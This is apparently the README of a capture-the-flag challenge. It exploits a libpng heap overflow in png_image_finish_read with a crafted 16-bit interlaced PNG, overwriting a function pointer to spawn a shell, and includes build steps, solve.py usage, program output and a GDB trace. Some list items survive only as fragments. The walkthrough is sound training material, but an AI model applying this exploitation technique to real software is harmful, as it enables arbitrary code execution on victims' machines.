
CTF challenge exploiting a heap overflow in libpng's png_image_finish_read to overwrite a function pointer and spawn a shell, with build scripts and exploit generator.
This challenge is based on a real-world buffer overflow vulnerability in libpng (specifically dealing with the simplified API png_image_finish_read when handling 16-bit interlaced images).
You are provided with a vulnerable binary victim that uses a statically linked, vulnerable version of libpng. The application reads a PNG file named exploit.png into a buffer.
Your objective is to craft a malicious PNG file that triggers a heap overflow to overwrite a function pointer in the Logger structure (located immediately after the image buffer), redirecting execution to the win() function to spawn a shell.
Prerequisites: gcc, make, python3, git, autoconf, automake, libtool.
Clone the repository:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
Build the challenge (including vulnerable libpng):
./build.sh
This script will:
libpng source code to enable the vulnerability.libpng library.victim binary.The vulnerability exists in how libpng handles interlaced images when converting from 16-bit input to 8-bit output.
PNG_FORMAT_RGBA). libpng allocates a buffer size sufficient for 8-bit data.png_combine_row incorrectly writes data using the input's 16-bit bit depth into the output buffer.The binary contains a helper function win() that calls execl("/bin/sh", ...). We need its address. Since the binary is compiled with -no-pie, addresses are static.
nm victim | grep win
# Output: 00000000004013e0 T win
Target Address: 0x4013e0
solve.py)We need to create a valid PNG that:
IHDR) specifying 16-bit depth.win).The solve.py script does this:
Logger struct (which is 4096 bytes after the start of the buffer).win address into the pixel data of the last row.IDAT chunk.Payload Layout:
The win address 0x4013e0 (Little Endian: E0 13 40 00 ...) needs to be encoded into 16-bit RGB pixels.
Generate the malicious PNG:
python3 solve.py 4013e0
This creates exploit.png.
Run the victim:
./victim
Expected Output:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
To see the overflow in action, you can use GDB.
1. Break before the vulnerable call:
break 62
run
2. Watch the overwrite:
The Logger struct is at offset 4096. Let's watch the target function pointer.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. Trigger:
GDB will stop when png_combine_row writes to the function pointer.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
This confirms libpng overwrote our pointer with the address of win!
victim.c: Vulnerable source code.solve.py: Exploit generator.libpng-src/: Source code for libpng (v1.6.37).build.sh: Script to compile everything.Makefile: Build system for the victim binary.